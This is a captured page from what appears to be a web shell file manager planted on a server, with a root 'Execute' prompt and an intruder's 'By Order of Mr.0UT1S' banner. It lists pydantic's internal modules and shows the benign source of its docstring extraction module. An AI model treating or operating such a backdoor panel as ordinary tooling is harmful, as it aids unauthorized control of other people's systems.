opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
pydantic
/
_internal
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
__init__.py
0 bytes
Rename
Delete
_config.py
12.31 KB
Rename
Delete
_core_metadata.py
3.44 KB
Rename
Delete
_core_utils.py
23.70 KB
Rename
Delete
_dataclasses.py
8.53 KB
Rename
Delete
_decorators.py
31.21 KB
Rename
Delete
_decorators_v1.py
6.06 KB
Rename
Delete
_discriminated_union.py
25.82 KB
Rename
Delete
_docs_extraction.py
3.70 KB
Rename
Delete
_fields.py
14.58 KB
Rename
Delete
_forward_ref.py
611 bytes
Rename
Delete
_generate_schema.py
102.91 KB
Rename
Delete
_generics.py
21.69 KB
Rename
Delete
_git.py
784 bytes
Rename
Delete
_internal_dataclass.py
144 bytes
Rename
Delete
_known_annotated_metadata.py
13.86 KB
Rename
Delete
_mock_val_ser.py
7.14 KB
Rename
Delete
_model_construction.py
30.63 KB
Rename
Delete
_repr.py
4.46 KB
Rename
Delete
_schema_generation_shared.py
4.74 KB
Rename
Delete
_signature.py
6.15 KB
Rename
Delete
_std_types_schema.py
28.20 KB
Rename
Delete
_typing_extra.py
18.97 KB
Rename
Delete
_utils.py
12.36 KB
Rename
Delete
_validate_call.py
3.70 KB
Rename
Delete
_validators.py
10.86 KB
Rename
Delete
"""Utilities related to attribute docstring extraction.""" from __future__ import annotations import ast import inspect import textwrap from typing import Any class DocstringVisitor(ast.NodeVisitor): def __init__(self) -> None: super().__init__() self.target: str | None = None self.attrs: dict[str, str] = {} self.previous_node_type: type[ast.AST] | None = None def visit(self, node: ast.AST) -> Any: node_result = super().visit(node) self.previous_node_type = type(node) return node_result def visit_AnnAssign(self, node: ast.AnnAssign) -> Any: if isinstance(node.target, ast.Name): self.target = node.target.id def visit_Expr(self, node: ast.Expr) -> Any: if ( isinstance(node.value, ast.Constant) and isinstance(node.value.value, str) and self.previous_node_type is ast.AnnAssign ): docstring = inspect.cleandoc(node.value.value) if self.target: self.attrs[self.target] = docstring self.target = None def _dedent_source_lines(source: list[str]) -> str: # Required for nested class definitions, e.g. in a function block dedent_source = textwrap.dedent(''.join(source)) if dedent_source.startswith((' ', '\t')): # We are in the case where there's a dedented (usually multiline) string # at a lower indentation level than the class itself. We wrap our class # in a function as a workaround. dedent_source = f'def dedent_workaround():\n{dedent_source}' return dedent_source def _extract_source_from_frame(cls: type[Any]) -> list[str] | None: frame = inspect.currentframe() while frame: if inspect.getmodule(frame) is inspect.getmodule(cls): lnum = frame.f_lineno try: lines, _ = inspect.findsource(frame) except OSError: # Source can't be retrieved (maybe because running in an interactive terminal), # we don't want to error here. pass else: block_lines = inspect.getblock(lines[lnum - 1 :]) dedent_source = _dedent_source_lines(block_lines) try: block_tree = ast.parse(dedent_source) except SyntaxError: pass else: stmt = block_tree.body[0] if isinstance(stmt, ast.FunctionDef) and stmt.name == 'dedent_workaround': # `_dedent_source_lines` wrapped the class around the workaround function stmt = stmt.body[0] if isinstance(stmt, ast.ClassDef) and stmt.name == cls.__name__: return block_lines frame = frame.f_back def extract_docstrings_from_cls(cls: type[Any], use_inspect: bool = False) -> dict[str, str]: """Map model attributes and their corresponding docstring. Args: cls: The class of the Pydantic model to inspect. use_inspect: Whether to skip usage of frames to find the object and use the `inspect` module instead. Returns: A mapping containing attribute names and their corresponding docstring. """ if use_inspect: # Might not work as expected if two classes have the same name in the same source file. try: source, _ = inspect.getsourcelines(cls) except OSError: return {} else: source = _extract_source_from_frame(cls) if not source: return {} dedent_source = _dedent_source_lines(source) visitor = DocstringVisitor() visitor.visit(ast.parse(dedent_source)) return visitor.attrs
Save